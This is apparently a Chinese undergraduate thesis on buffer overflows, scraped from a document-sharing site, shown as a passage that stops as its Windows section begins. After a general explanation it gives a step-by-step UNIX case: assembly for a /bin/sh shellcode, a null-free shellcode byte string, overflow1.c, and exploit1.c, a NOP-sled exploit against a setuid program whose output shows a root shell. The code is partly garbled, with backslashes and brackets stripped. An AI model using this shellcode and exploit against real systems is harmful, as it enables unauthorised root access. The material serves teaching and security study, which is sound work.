分析、解決緩存區(qū)溢出問題_第1頁
分析、解決緩存區(qū)溢出問題_第2頁
分析、解決緩存區(qū)溢出問題_第3頁
分析、解決緩存區(qū)溢出問題_第4頁
分析、解決緩存區(qū)溢出問題_第5頁
已閱讀5頁,還剩22頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、南 昌 大 學(xué) 畢 業(yè) 設(shè) 計(jì)分析、解決緩存區(qū)溢出問題姓名:李榮國(guó)學(xué)號(hào):99081065學(xué)院:計(jì)算機(jī)與信息學(xué)院專業(yè):計(jì)算機(jī)科學(xué)與技術(shù)班級(jí):計(jì)99(2)班指導(dǎo)老師:薛之昕6目錄第1章:緩存區(qū)溢出原理分析及其危害第2章:案例分析第1節(jié):在UINX操作系統(tǒng)下的一個(gè)緩存區(qū)溢出實(shí)例分析2.1.1:如何書寫一個(gè)shell code2.1.2:實(shí)現(xiàn)一個(gè)shellcode 2.1.3:shellcode的匯編源程序 2.1.4:利用堆棧溢出獲得shell 2.1.5:利用堆棧溢出獲得root shell 第2節(jié):window系統(tǒng)下的堆棧溢出案例2.2.1:溢出字符串的設(shè)計(jì)2.2.

2、2:winamp 2.10版的緩沖區(qū)漏洞分析2.2.3:實(shí)現(xiàn)一個(gè)exploit2.2.4:對(duì)windows下的buffer overflow總結(jié)第3章:解決方案摘要:緩存區(qū)溢出,又稱堆棧溢出、Buffer Overflow。其基本理是當(dāng)來自某個(gè)程序的輸入數(shù)據(jù)超出程序緩沖區(qū)能夠處理的長(zhǎng)度時(shí)會(huì)產(chǎn)生溢出,結(jié)果不受程序員的控制。當(dāng)入侵者巧妙地安排代碼后,被攻擊的服務(wù)器還可能執(zhí)行入侵者指定的程序代碼,從而導(dǎo)致攻擊者甚至可以獲得系統(tǒng)中超級(jí)用戶的權(quán)限。Abstract: Buffer memory area overflows, have another name called storehouse ove

3、rflowing, Buffer Overflow. It pay attention to and will when the data-in from a certain procedure goes beyond the length which can be dealt with in buffering area of procedure produce and overflow basically, The result does not receive the programmer's control . After the invador arranges codes

4、ingeniously , might carry out the procedure code that invadors appointed also server that attack, Cause assailant can get super authority of user in the system.關(guān)鍵字:緩存區(qū)溢出,堆棧溢出,緩存區(qū),堆棧,溢出。 Key words: Buffer Overflow,Stack Overflow, Stack Overflow正文:第1章:緩存區(qū)溢出原理分析及其危害緩存區(qū)溢出,又稱堆棧溢出(Buffer Overflow)。這種類型的攻擊

5、赫赫有名,頻頻出現(xiàn)在CERT、SANS、CSI等國(guó)際網(wǎng)絡(luò)安全組織的最具威脅的攻擊類型名單內(nèi)。在1998年Lincoln實(shí)驗(yàn)室用來評(píng)估入侵檢測(cè)的的5種遠(yuǎn)程攻擊中,有3種是基于社會(huì)工程學(xué)的信任關(guān)系,2種是緩沖區(qū)溢出 在1998年CERT的13份建議中,有9份是是與緩沖區(qū)溢出有關(guān)的,在1999年,至少有半數(shù)的建議是和緩沖區(qū)溢出有關(guān)的;在 Bugtraq的調(diào)查中,有2/3的被調(diào)查者認(rèn)為緩沖區(qū)溢出漏洞是一個(gè)很嚴(yán)重的安全問題。據(jù)統(tǒng)計(jì),通過緩沖區(qū)溢出進(jìn)行的攻擊占所有系統(tǒng)攻擊總數(shù)的80%以上。 為了便于理解,我們不妨打個(gè)比方。緩沖區(qū)溢出好比是將十磅的糖放進(jìn)一個(gè)只能裝五磅的容器里。一旦該容器放滿了,余下的部分就

6、溢出在柜臺(tái)和地板上,弄得一團(tuán)糟。由于計(jì)算機(jī)程序的編寫者寫了一些編碼,但是這些編碼沒有對(duì)目的區(qū)域或緩沖區(qū)五磅的容器做適當(dāng)?shù)臋z查,看它們是否夠大,能否完全裝入新的內(nèi)容十磅的糖,結(jié)果可能造成緩沖區(qū)溢出的產(chǎn)生。如果打算被放進(jìn)新地方的數(shù)據(jù)不適合,溢得到處都是,該數(shù)據(jù)也會(huì)制造很多麻煩。但是,如果緩沖區(qū)僅僅溢出,這只是一個(gè)問題。到此時(shí)為止,它還沒有破壞性。當(dāng)糖溢出時(shí),柜臺(tái)被蓋住??梢园烟遣恋艋蛴梦鼔m器吸走,還柜臺(tái)本來面貌。與之相對(duì)的是,當(dāng)緩沖區(qū)溢出時(shí),過剩的信息覆蓋的是計(jì)算機(jī)內(nèi)存中以前的內(nèi)容。除非這些被覆蓋的內(nèi)容被保存或能夠恢復(fù),否則就會(huì)永遠(yuǎn)丟失。在丟失的信息里有能夠被程序調(diào)用的子程序的列表信息,直到緩沖區(qū)

7、溢出發(fā)生。另外,給那些子程序的信息參數(shù)也丟失了。這意味著程序不能得到足夠的信息從子程序返回,以完成它的任務(wù)。就像一個(gè)人步行穿過沙漠。如果他依賴于他的足跡走回頭路,當(dāng)沙暴來襲抹去了這些痕跡時(shí),他將迷失在沙漠中。這個(gè)問題比程序僅僅迷失方向嚴(yán)重多了。入侵者用精心編寫的入侵代碼(一種惡意程序)使緩沖區(qū)溢出,然后告訴程序依據(jù)預(yù)設(shè)的方法處理緩沖區(qū),并且執(zhí)行。此時(shí)的程序已經(jīng)完全被入侵者操縱了。入侵者經(jīng)常改編現(xiàn)有的應(yīng)用程序運(yùn)行不同的程序。例如,一個(gè)入侵者能啟動(dòng)一個(gè)新的程序,發(fā)送秘密文件(支票本記錄,口令文件,或財(cái)產(chǎn)清單)給入侵者的電子郵件。這就好像不僅僅是沙暴吹了腳印,而且后來者也會(huì)踩出新的腳印,將我們的迷路

8、者領(lǐng)向不同的地方,他自己一無所知的地方。這是一種滲透到系統(tǒng)中的攻擊技術(shù),其基本理是當(dāng)來自某個(gè)程序的輸入數(shù)據(jù)超出程序緩沖區(qū)能夠處理的長(zhǎng)度時(shí)會(huì)產(chǎn)生溢出,結(jié)果不受程序員的控制。當(dāng)入侵者巧妙地安排代碼后,被攻擊的服務(wù)器還可能執(zhí)行入侵者指定的程序代碼,從而導(dǎo)致攻擊者甚至可以獲得系統(tǒng)中超級(jí)用戶的權(quán)限。比如80年代的Morris“蠕蟲”事件導(dǎo)致了當(dāng)時(shí)Internet上1/3的計(jì)算機(jī)癱瘓,這種入侵方式就是采用了UNIX的Finger服務(wù)的一個(gè)緩存區(qū)溢出的漏洞;2001年的紅色代碼病毒在短短幾個(gè)小時(shí)內(nèi)傳遍了全球,造成了數(shù)十億美元的損失,也是采用了Windows服務(wù)器平臺(tái)上的IIS服務(wù)的一個(gè)緩存區(qū)溢出漏洞。為什么

9、這種攻擊這么多呢?主要原因在于,目前廣泛用于系統(tǒng)編程的語言C語言本身的某些函數(shù)就存在著一些漏洞,造成了這種漏洞的廣泛存在和難以徹底清查。 一般的操作系統(tǒng)都有一個(gè)系統(tǒng)調(diào)用表,包含指向每個(gè)系統(tǒng)調(diào)用的內(nèi)存地址的指針。應(yīng)用程序?qū)Y源的訪問、對(duì)硬件設(shè)備的使用、進(jìn)程間的通訊都是通過系統(tǒng)調(diào)用接口在操作系統(tǒng)內(nèi)核中實(shí)現(xiàn)的。 所有的緩沖區(qū)漏洞挖掘程序都基于以下一個(gè)假設(shè),即:程序在每次運(yùn)行時(shí)有問題的參數(shù)壓入棧內(nèi)的數(shù)據(jù)地址空間偏移量是一定的(或者相差較小)。如果在程序運(yùn)行時(shí)由操作系統(tǒng)定義并且分配一個(gè)隨機(jī)化的偏移給該應(yīng)用程序,那么則專為此有缺陷的程序設(shè)計(jì)的溢出程序在溢出時(shí)就會(huì)返回一個(gè)錯(cuò)誤的ret地址,而不能跳轉(zhuǎn)到惡意構(gòu)

10、造的shellcode下。雖然大部分的緩沖區(qū)溢出程序也能提供可調(diào)整的offset變量,但由于每次有缺陷的程序運(yùn)行時(shí)都將擁有一個(gè)隨機(jī)化的偏移,因此通過上次不成功的溢出猜測(cè)所得到的地址空間和內(nèi)容并不能來指導(dǎo)修正下次調(diào)整的offset。這種攻擊之所以可能是由于某些編程語言,商業(yè),系統(tǒng),共享,開放源代碼程序的本質(zhì)決定的。我們知道,Unix本身以及其上的許多應(yīng)用程序都是用C語言編寫的,C語言不檢查緩沖區(qū)的邊界。在某些情況下,如果用戶輸入的數(shù)據(jù)長(zhǎng)度超過應(yīng)用程序給定的緩沖區(qū),就會(huì)覆蓋其他數(shù)據(jù)區(qū),包括用戶堆棧。這稱作“堆棧溢出或緩沖區(qū)溢出”。一般情況下,覆蓋其他數(shù)據(jù)區(qū)的數(shù)據(jù)是沒有意義的,最多造成應(yīng)用程序錯(cuò)誤,

11、但是,如果輸入的數(shù)據(jù)是經(jīng)過“黑客”精心設(shè)計(jì)的,覆蓋堆棧的數(shù)據(jù)恰恰是黑客的入侵程序代碼,黑客就獲取了程序的控制權(quán)。如果該程序恰好是以root運(yùn)行的,黑客就獲得了root權(quán)限,然后他就可以編譯黑客程序、留下入侵后門等,實(shí)施進(jìn)一步地攻擊。按照這種原理進(jìn)行的黑客入侵就叫做“堆棧溢出攻擊”。攻擊者通過尋找本身有這種弱點(diǎn)的包含setuid的程序?qū)崿F(xiàn)堆棧溢出攻擊。這種程序可以由任何用戶運(yùn)行,一旦程序運(yùn)行,就以root權(quán)限運(yùn)行在系統(tǒng)中。攻擊者需要知道程序運(yùn)行時(shí)保存的信息在系統(tǒng)中的位置,根據(jù)這些信息,攻擊者運(yùn)行程序,輸入比系統(tǒng)能夠接受的更多的數(shù)據(jù)。例如,假設(shè)系統(tǒng)緩沖區(qū)只有20Byte,攻擊者輸入30byte,就

12、像在桶中裝入太多的水,水會(huì)溢出流到地上一樣,剩余的數(shù)據(jù)就會(huì)進(jìn)入特定的系統(tǒng)空間。經(jīng)過精心設(shè)計(jì),攻擊者就可獲得root權(quán)限。這種弱點(diǎn)一旦被發(fā)現(xiàn)并貼在Internet上供他人使用,這種攻擊方式就會(huì)一直存在,而且適用于其他類似系統(tǒng),直到弱點(diǎn)被消除。這種攻擊依賴于系統(tǒng)軟件的弱點(diǎn),而且數(shù)據(jù)溢出后必須進(jìn)入堆棧的同一位置。80年代著名的“蠕蟲”病毒就是利用Unix的login程序的弱點(diǎn),使用“堆棧溢出”發(fā)起攻擊的?!凹t色代碼”病毒是一種新型網(wǎng)絡(luò)病毒,其傳播所使用的技術(shù)可以充分體現(xiàn)網(wǎng)絡(luò)時(shí)代網(wǎng)絡(luò)安全與病毒的巧妙結(jié)合,將網(wǎng)絡(luò)蠕蟲、計(jì)算機(jī)病毒、木馬程序合為一體,開創(chuàng)了網(wǎng)絡(luò)病毒傳播的新路,可稱之為劃時(shí)代的病毒。如果稍加

13、改造,將是非常致命的病毒,可以完全取得所攻破計(jì)算機(jī)的所有權(quán)限為所欲為,可以盜走機(jī)密數(shù)據(jù),嚴(yán)重威脅網(wǎng)絡(luò)安全。該病毒通過微軟公司IIS系統(tǒng)漏洞進(jìn)行感染,它使IIS服務(wù)程序處理請(qǐng)求數(shù)據(jù)包時(shí)溢出,導(dǎo)致把此“數(shù)據(jù)包”當(dāng)作代碼運(yùn)行,病毒駐留后再次通過此漏洞感染其它服務(wù)器?!凹t色代碼”病毒采用了一種叫做"緩存區(qū)溢出"的黑客技術(shù),利用網(wǎng)絡(luò)上使用微軟IIS系統(tǒng)的服務(wù)器來進(jìn)行病毒傳播。這個(gè)蠕蟲病毒使用服務(wù)器的端口80進(jìn)行傳播,而這個(gè)端口正是Web服務(wù)器與瀏覽器進(jìn)行信息交流的渠道。與其它病毒不同的是,“紅色代碼”不同于以往的文件型病毒和引導(dǎo)型病毒,并不將病毒信息寫入被攻擊服務(wù)器的硬盤。它只存在于

14、內(nèi)存,傳染時(shí)不通過文件這一常規(guī)載體,而是借助這個(gè)服務(wù)器的網(wǎng)絡(luò)連接攻擊其它的服務(wù)器,直接從一臺(tái)電腦內(nèi)存?zhèn)鞯搅硪慌_(tái)電腦內(nèi)存。當(dāng)本地IIS服務(wù)程序收到某個(gè)來自“紅色代碼”發(fā)送的請(qǐng)求數(shù)據(jù)包時(shí),由于存在漏洞,導(dǎo)致處理函數(shù)的堆棧溢出。當(dāng)函數(shù)返回時(shí),原返回地址已被病毒數(shù)據(jù)包覆蓋,程序運(yùn)行線跑到病毒數(shù)據(jù)包中,此時(shí)病毒被激活,并運(yùn)行在IIS服務(wù)程序的堆棧中。 第2章:案例分析在UINX系統(tǒng)中,我們的指令可以執(zhí)行一個(gè)shell,這個(gè)shell將獲得和被我們堆棧溢出的程序相同的權(quán)限。如果這個(gè)程序是setuid的,那么我們就可以獲得root shell。第1節(jié):在UINX操作系統(tǒng)下的一個(gè)緩存區(qū)溢出實(shí)例分析 

15、2.1.1:如何書寫一個(gè)shell codeshellcode.c - - #include <stdio.h> void main()  char *name2; name0 = "/bin/sh" name1 = NULL; execve(name0, name, NULL);  - -  execve函數(shù)將執(zhí)行一個(gè)程序。他需要程序的名字地址作為第一個(gè)參數(shù)。一個(gè)內(nèi)容為該程序的argvi(argvn-1=0)的指針數(shù)組作為第二個(gè)參數(shù),以及(c

16、har*) 0作為第三個(gè)參數(shù)。 我們來看以看execve的匯編代碼: nkl10$ gcc -o shellcode -static shellcode.c nkl10$ gdb shellcode (gdb) disassemble _execve Dump of assembler code for function _execve: 0x80002bc <_execve>: pushl %ebp ; 0x80002bd <_execve+1>: movl %esp,%ebp 上面是函數(shù)

17、頭。 0x80002bf <_execve+3>: pushl %ebx 保存ebx 0x80002c0 <_execve+4>: movl $0xb,%eax eax=0xb,eax指明第幾號(hào)系統(tǒng)調(diào)用。 0x80002c5 <_execve+9>: movl 0x8(%ebp),%ebx ebp+8是第一個(gè)參數(shù)"/bin/sh0" 0x80002c8 <_execve+12>: movl 0xc(%ebp),%ecx ebp+12是第二個(gè)參數(shù)na

18、me數(shù)組的地址 0x80002cb <_execve+15>: movl 0x10(%ebp),%edx ebp+16是第三個(gè)參數(shù)空指針的地址。 name2-1內(nèi)容為NULL,用來存放返回值。 0x80002ce <_execve+18>: int $0x80 執(zhí)行0xb號(hào)系統(tǒng)調(diào)用(execve) 0x80002d0 <_execve+20>: movl %eax,%edx 下面是返回值的處理就沒有用了。 0x80002d2 <_execve+22>: testl %

19、edx,%edx 0x80002d4 <_execve+24>: jnl 0x80002e6 <_execve+42> 0x80002d6 <_execve+26>: negl %edx 0x80002d8 <_execve+28>: pushl %edx 0x80002d9 <_execve+29>: call 0x8001a34 <_normal_errno_location> 0x80002de <_execve+34>: popl %edx&#

20、160;0x80002df <_execve+35>: movl %edx,(%eax) 0x80002e1 <_execve+37>: movl $0xffffffff,%eax 0x80002e6 <_execve+42>: popl %ebx 0x80002e7 <_execve+43>: movl %ebp,%esp 0x80002e9 <_execve+45>: popl %ebp 0x80002ea <_execve+46>: ret 0x80002e

21、b <_execve+47>: nop End of assembler dump. 經(jīng)過以上的分析,可以得到如下的精簡(jiǎn)指令算法: movl $execve的系統(tǒng)調(diào)用號(hào),%eax movl "bin/sh0"的地址,%ebx movl name數(shù)組的地址,%ecx movl namen-1的地址,%edx int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve)  當(dāng)execve執(zhí)行成功后,程序shellcode就會(huì)退出,/bin/sh將作為子進(jìn)程繼續(xù)執(zhí)行。 可是,如果我們的execve執(zhí)

22、行失敗,(比如沒有/bin/sh這個(gè)文件),CPU就會(huì)繼續(xù)執(zhí)行后續(xù)的指令,結(jié)果不知道跑到哪里去了。所以必須再執(zhí)行一個(gè)exit()系統(tǒng)調(diào)用,結(jié)束shellcode.c的執(zhí)行。 我們來看以看exit(0)的匯編代碼: (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exi

23、t+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx為參數(shù)0 0x8000358 <_exit+12>: int $0x80 ;引發(fā)系統(tǒng)調(diào)用 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 

24、0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. 看來exit(0)的匯編代碼更加簡(jiǎn)單: movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用 movl 0,%ebx ;ebx為exit的參數(shù)0

25、60;int $0x80 ;引發(fā)系統(tǒng)調(diào)用 。合成的匯編代碼為: movl $execve的系統(tǒng)調(diào)用號(hào),%eax movl "bin/sh0"的地址,%ebx movl name數(shù)組的地址,%ecx movl namen-1的地址,%edx int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve) movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用 movl 0,%ebx ;ebx為exit的參數(shù)0 int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(exit) 2.1.2:實(shí)現(xiàn)一個(gè)shellcode&#

26、160;首先我們必須有一個(gè)字符串“/bin/sh”,還得有一個(gè)name數(shù)組。我們可以構(gòu)造它們出來,可是,在shellcode中如何知道它們的地址呢?每一次程序都是動(dòng)態(tài)加載,字符串和name數(shù)組的地址都不是固定的。 通過JMP和call的結(jié)合,黑客們巧妙的解決了這個(gè)問題。 - - jmp call的偏移地址 # 2 bytes popl %esi # 1 byte /popl出來的是string的地址。 movl %esi,array-offset(%esi) # 3 bytes /在string+8處構(gòu)造 name數(shù)組, 

27、/name0放 string的地址 movb $0x0,nullbyteoffset(%esi)# 4 bytes /string+7處放0作為string的 /結(jié) 尾。 movl $0x0,null-offset(%esi) # 7 bytes /name1放0。 movl $0xb,%eax # 5 bytes /eax=0xb是execve的syscall代碼 。 movl %esi,%ebx # 2 bytes /ebx=string的地址 leal array-offset,(%esi),%ecx # 3 byte

28、s /ecx=name數(shù)組的開始地址 leal null-offset(%esi),%edx # 3 bytes /edx=name1的地址 int $0x80 # 2 bytes /int 0x80是sys call movl $0x1, %eax # 5 bytes /eax=0x1是exit的syscall代碼 movl $0x0, %ebx # 5 bytes /ebx=0是exit的返回值 int $0x80 # 2 bytes /int 0x80是sys call call popl 的偏移地址 # 5 bytes /這里

29、放call,string 的地址就會(huì) 作 為返回 /地址壓棧。 /bin/sh 字符串 - -  首先使用JMP相對(duì)地址來跳轉(zhuǎn)到call,執(zhí)行完call指令,字符串/bin/sh的地址將作為call的返回地址壓入堆?!,F(xiàn)在來到popl esi,把剛剛壓入棧中的字符串地址取出來,就獲得了字符串的真實(shí)地址。然后,在字符串的第8個(gè)字節(jié)賦0,作為串的結(jié)尾。后面8個(gè)字節(jié),構(gòu)造name數(shù)組(兩個(gè)整數(shù),八個(gè)字節(jié))。 2.1.3:shellcode的匯編源程序shellcodeasm.c - - void ma

30、in()  _asm_(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3

31、 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string "/bin/sh" # 8 bytes ");  - -  編譯后,用gdb的b/bx 地址命令可以得到十六進(jìn)制的表示。 下面,寫出測(cè)試程序如下:(注意,這個(gè)test程序是測(cè)試shellcode

32、的基本程序) test.c - - char shellcode = "xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00" "x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80" "xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff" "xffx2fx62x69x6ex2fx73x68x00x89xecx5d

33、xc3" void main()  int *ret; ret = (int *)&ret + 2; /ret 等于main()的返回地址 /(2是因?yàn)椋河衟ushl ebp ,否則加1就可以了。) (*ret) = (int)shellcode; /修/改main()的返回地址為shellcode的開始地 址。  nkl10$ gcc -o test test.c nkl10$ ./test $ exit nkl10$ - - 我們通過

34、一個(gè)shellcode數(shù)組來存放shellcode,當(dāng)我們把程序(test.c)的返回地址ret設(shè)置成shellcode數(shù)組的開始地址時(shí),程序在返回的時(shí)候就會(huì)去執(zhí)行我們的shellcode,從而我們得到了一個(gè)shell。  運(yùn)行結(jié)果,得到了bsh的提示符$,表明成功的開了一個(gè)shell。 這里有必要解釋的是,我們把shellcode作為一個(gè)全局變量開在了數(shù)據(jù)而不是作為一段代碼。是因?yàn)樵诓僮飨到y(tǒng)中,程序代碼段的內(nèi)容是具有只讀屬性的。不能修改。而我們的代碼中movl %esi,0x8(%esi)等語句都修改了代碼的一部分,所以不能放在代碼段。  這個(gè)shellcode

35、可以了嗎?很遺憾,還差了一點(diǎn)。大家回想一下,在堆棧溢出中,關(guān)鍵在于字符串?dāng)?shù)組的寫越界。但是,gets,strcpy等字符串函數(shù)在處理字符串的時(shí)候,以"0" 為字符串結(jié)尾。遇0就結(jié)束了寫操作。而我的shellcode串中有大量的0字符。因此, 對(duì)于gets(name)來說,上面的shellcode是不可行的。我們的shellcode是不能有0字符 出現(xiàn)的。 因此,有些指令需要修改一下:  - movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) mov

36、b %eax,0x7(%esi) movl %eax,0xc(%esi) movl $0xb,%eax movb $0xb,%al movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax 最后的shellcode為: - - char shellcode= 00 "xebx1f" /* jmp 0x1f */ 02 "x5e" /* popl %esi */&#

37、160;03 "x89x76x08" /* movl %esi,0x8(%esi) */ 06 "x31xc0" /* xorl %eax,%eax */ 08 "x88x46x07" /* movb %eax,0x7(%esi) */ 0b "x89x46x0c" /* movl %eax,0xc(%esi) */ 0e "xb0x0b" /* movb $0xb,%al */ 10 "x89xf3" /* movl %es

38、i,%ebx */ 12 "x8dx4ex08" /* leal 0x8(%esi),%ecx */ 15 "x8dx56x0c" /* leal 0xc(%esi),%edx */ 18 "xcdx80" /* int $0x80 */ 1a "x31xdb" /* xorl %ebx,%ebx */ 1c "x89xd8" /* movl %ebx,%eax */ 1e "x40" /* inc %eax */&

39、#160;1f "xcdx80" /* int $0x80 */ 21 "xe8xdcxffxffxff" /* call -0x24 */ 26 "/bin/sh" /* .string "/bin/sh" */ - - 2.1.4:利用堆棧溢出獲得shell  好了,現(xiàn)在我們已經(jīng)制造了一次堆棧溢出,寫好了一個(gè)shellcode。準(zhǔn)備工作都已經(jīng)作完, 我們把二者結(jié)合起來,就寫出一個(gè)利用堆棧溢出獲得shell的程序。 overflow1

40、.c - - char shellcode = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh" char large_string128; void main()  char buffer96; int i; long

41、 *long_ptr = (long *) large_string; for (i = 0; i < 32; i+)  *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i+)  large_stringi = shellcodei; strcpy(buffer,large_string);  - - 在執(zhí)行完strcpy后,堆棧內(nèi)容如下所示: 內(nèi)存底部 內(nèi)存頂部 buffer EBP r

42、et <- SSS.SSSA A A A.A &buffer 棧頂部 堆棧底部 注:S表示shellcode,A表示shellcode的地址。  這樣,在執(zhí)行完strcpy后,overflow。c將從ret取出A作為返回地址,從而執(zhí)行了我們的shellcode。 2.1.5:利用堆棧溢出獲得root shell  現(xiàn)在讓我們進(jìn)入最刺激的一講,利用別人的程序的堆棧溢出獲得rootshell。我們 將面對(duì) 一個(gè)有strcpy堆棧溢出漏洞的程序,利用前面說過的方法來得到shell。  回

43、想一下前面所講,我們通過一個(gè)shellcode數(shù)組來存放shellcode,利用程序中的 strcpy 函數(shù),把shellcode放到了程序的堆棧之中;我們制造了數(shù)組越界,用shellcode的 開始地 址覆蓋了程序(overflow.c)的返回地址,程序在返回的時(shí)候就會(huì)去執(zhí)行我們的 shellcode,從而我們得到了一個(gè)shell。  當(dāng)我們面對(duì)別人寫的程序時(shí),為了讓他執(zhí)行我們的shellcode,同樣必須作這兩件 事:  1:把我們的shellcode提供給他,讓他可以訪問shellcode。  2:

44、修改他的返回地址為shellcode的入口地址。  為了做到這兩條,我們必須知道他的strcpy(buffer,ourshellcode)中,buffer 的地址。 因?yàn)楫?dāng)我們把shellcode提供給strcpy之后,buffer的開始地址就是shellcode的開 始地址 ,我們必須用這個(gè)地址來覆蓋堆棧才成。這一點(diǎn)大家一定要明確。  我們知道,對(duì)于操作系統(tǒng)來說,一個(gè)shell下的每一個(gè)程序的堆棧段開始地址都是 相同的 。我們可以寫一個(gè)程序,獲得運(yùn)行時(shí)的堆棧起始地址,這樣,我們就知道了目標(biāo)程 序堆棧&#

45、160;的開始地址。  下面這個(gè)函數(shù),用eax返回當(dāng)前程序的堆棧指針。(所有C函數(shù)的返回值都放在eax 寄存器 里面): - - unsigned long get_sp(void)  _asm_("movl %esp,%eax");  - -  我們?cè)谥懒硕褩i_始地址后,buffer相對(duì)于堆棧開始地址的偏移,是他程序員自 己 寫出來的程序決定的,我們不知道,只能靠猜測(cè)了。不過,一般的程序堆棧大約是 幾K 左右。所以,這個(gè)b

46、uffer與上面得到的堆棧地址,相差就在幾K之間。  顯然猜地址這是一件很難的事情,從0試到10K,會(huì)把人累死的。  前面我們用來覆蓋堆棧的溢出字符串為: SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 現(xiàn)在,為了提高命中率,我們對(duì)他進(jìn)行如下改進(jìn): 用來溢出的字符串變?yōu)椋?#160;NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA 其中:  N為NOP.NOP指令意思是什么都不作,跳過一個(gè)CPU指令周期。在intel機(jī)器

47、上, NOP指令的機(jī)器碼為0x90。 S為shellcode。 A為我們猜測(cè)的buffer的地址。這樣,A猜大了也可以落在N上,并且最終會(huì)執(zhí)行到 S. 這個(gè)改進(jìn)大大提高了猜測(cè)的命中率,有時(shí)幾乎可以一次命中。  好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆棧溢出漏洞來得到 shell的程序: exploit1.c - - #include<stdio.h> #include<stdlib.h> #define OFFSE

48、T 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode= "xebx1f" /* jmp 0x1f */ "x5e" /* popl %esi */ "x89x76x08" /* movl %esi,0x8(%esi) */ "x31xc0" /* xorl %eax,%eax */ "x88x46x07"

49、 /* movb %eax,0x7(%esi) */ "x89x46x0c" /* movl %eax,0xc(%esi) */ "xb0x0b" /* movb $0xb,%al */ "x89xf3" /* movl %esi,%ebx */ "x8dx4ex08" /* leal 0x8(%esi),%ecx */ "x8dx56x0c" /* leal 0xc(%esi),%edx */ "xcdx80" /

50、* int $0x80 */ "x31xdb" /* xorl %ebx,%ebx */ "x89xd8" /* movl %ebx,%eax */ "x40" /* inc %eax */ "xcdx80" /* int $0x80 */ "xe8xdcxffxffxff" /* call -0x24 */ "/bin/sh" /* .string "/bin/sh" */ unsig

51、ned long get_sp(void)  _asm_("movl %esp,%eax");  main(int argc,char *argv)  char buffRET_POSITION+RANGE+1,*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv

52、1); sp=get_sp(); addr=sp-offset; for(i=0;i<bsize;i+=4) *(long *)&(buffi)=addr; for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i+) buffi=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i+) *(ptr+)=shellcodei; buf

53、fbsize-1="0" /現(xiàn)在buff的內(nèi)容為 /NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA0 printf("Jump to 0x%08xn",addr); execl("./vulnerable1","vulnerable1",buff,0);  - - execl用來執(zhí)行目標(biāo)程序./vulnerable1,buff是我們精心制作的溢出字符串, 作為./vulner

54、able1的參數(shù)提供。 以下是執(zhí)行的結(jié)果: - - nkl10$ ls -l vulnerable1 -rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1* nkl10$ ls -l exploit1 -rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1* nkl10$ ./exploit1 Jump to 0xbfffec64 Segmentation fault nkl10$ .

55、/exploit1 500 Jump to 0xbfffea70 bash# whoami root bash# - - 好了,現(xiàn)在獲得了root shell。  第2節(jié):window系統(tǒng)下的堆棧溢出案例 在windows系統(tǒng)下如何獲得一次堆棧溢出,如何計(jì)算偏移地址,以及如何編寫一個(gè)shellcode以得到dos。2.2.1:溢出字符串的設(shè)計(jì) 大家知道windows系統(tǒng)的用戶進(jìn)程空間是0-2G,操作系統(tǒng)所占的為2-4G。事實(shí)上用戶進(jìn)程的加載位置為:0x00400000.這個(gè)進(jìn)程的所有指令地址,數(shù)據(jù)地址和堆棧指針都會(huì)

